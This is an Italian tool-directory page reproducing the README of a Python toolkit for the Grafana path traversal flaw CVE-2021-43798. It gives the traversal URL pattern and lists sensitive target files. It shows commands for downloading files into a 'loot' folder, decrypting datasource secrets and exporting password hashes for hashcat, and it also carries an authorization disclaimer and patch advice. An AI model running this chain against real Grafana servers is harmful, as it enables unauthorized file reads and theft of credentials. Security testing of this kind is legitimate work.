Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-43798 — Toolkit Python per test autorizzati del path traversal di Grafana CVE-2021-43798, con PoC di lettura arbitraria dei file, decriptazione dei segreti ed esportazione degli hash utente per valutazioni di sicurezza. | Kitploit
Strumenti/GitHubGitHub/okymi-x/cve-2021-43798
Password CrackingStrumenti di Crittografia/DecrittografiaAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta Informazioni
GitHubokymi-x/cve-2021-43798

CVE-2021-43798

Toolkit Python per test autorizzati del path traversal di Grafana CVE-2021-43798, con PoC di lettura arbitraria dei file, decriptazione dei segreti ed esportazione degli hash utente per valutazioni di sicurezza.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-43798 - Lettura Arbitraria di File in Grafana

Toolkit Python per test autorizzati di CVE-2021-43798, una vulnerabilità di path traversal in Grafana che può consentire la lettura arbitraria di file senza autenticazione tramite i percorsi degli asset dei plugin.

Questo repository contiene:

  • grafana_poc.py: PoC interattivo di lettura arbitraria di file che salva i file scaricati localmente.
  • grafana_pass_decryptor.py: helper per decifrare i segreti delle datasource criptate di Grafana quando grafana.ini e/o la secret_key sono disponibili, e per esportare gli hash delle password degli utenti Grafana da grafana.db.

Avvertenza

Usa questo progetto solo su sistemi di tua proprietà, che gestisci o per i quali hai un'esplicita autorizzazione scritta a testarli. Lo sfruttamento non autorizzato può esporre file sensibili, credenziali, chiavi private, contenuti del database e hash delle password degli utenti.

Riepilogo della Vulnerabilità

CVE-2021-43798 riguarda le versioni di Grafana dalla 8.0.0-beta1 alla 8.3.0. Le versioni corrette sono 8.3.1, 8.2.7, 8.1.8 e 8.0.7.

Il problema è raggiungibile tramite rotte degli asset dei plugin come:

root@kitploit:~
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>

I file comunemente richiesti durante la validazione autorizzata includono:

root@kitploit:~
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline

L'accesso dipende dai permessi del sistema operativo del processo Grafana.

Requisiti

  • Python 3.10+
  • requests
  • pycryptodome o cryptography per la decifratura dei segreti

Installa le dipendenze:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

Guida all'Uso

1. Leggere File con il PoC

Esegui il PoC interattivo contro un target autorizzato:

root@kitploit:~
python3 grafana_poc.py -H http://target:3000 -o loot

Al prompt, inserisci i percorsi assoluti:

root@kitploit:~
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit

I file scaricati vengono salvati nella directory di output preservando una versione sicura del percorso remoto, ad esempio:

root@kitploit:~
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db

2. Decifrare i Segreti di Grafana

Se disponi sia di grafana.ini che di grafana.db, il decifratore può leggere la secret_key dal file di configurazione e tentare di decifrare i segreti criptati di datasource, notifiche di avviso e plugin:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db

Decifra manualmente un blob criptato:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --secret-key SW2YcwTIb9zpOOhoPsMm \
  --blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

Stampa JSON delimitato da nuove righe:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --json

3. Esportare gli Hash degli Utenti

Le password degli utenti Grafana non sono segreti criptati. Sono hash PBKDF2 con sale. Esportali dalla tabella user:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --ini loot/etc/grafana/grafana.ini \
  --db loot/var/lib/grafana/grafana.db \
  --users

Esporta solo le righe per la modalità hashcat 10900:

root@kitploit:~
python3 grafana_pass_decryptor.py \
  --db loot/var/lib/grafana/grafana.db \
  --users \
  --hashcat > hashes.txt

Rimedio

Aggiorna Grafana a una versione corretta:

  • 8.3.1 o successiva per il ramo 8.3
  • 8.2.7 o successiva per il ramo 8.2
  • 8.1.8 o successiva per il ramo 8.1
  • 8.0.7 o successiva per il ramo 8.0

Se un aggiornamento immediato non è possibile, l'avviso di Grafana segnala che posizionare un reverse proxy di fronte a Grafana che normalizzi i percorsi delle richieste può mitigare il comportamento di traversal. Consideralo un controllo temporaneo, non un sostituto dell'applicazione della patch.

Riferimenti

  • Exploit-DB 50581: https://www.exploit-db.com/exploits/50581
  • repository di riferimento jas502n: https://github.com/jas502n/Grafana-CVE-2021-43798
  • avviso di sicurezza Grafana GHSA-8pjx-jj86-j47p: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
  • post del blog Grafana su CVE-2021-43798: https://grafana.com/blog/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/
  • record CVE NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-43798

Crediti

Il PoC pubblico originale è accreditato a s1gh su Exploit-DB. Il flusso di decifratura dei segreti di Grafana è ispirato a ricerche pubbliche ed esempi di jas502n/Grafana-CVE-2021-43798, con questo repository che fornisce un helper Python per laboratori e flussi di valutazione autorizzati.

Scarica lo strumento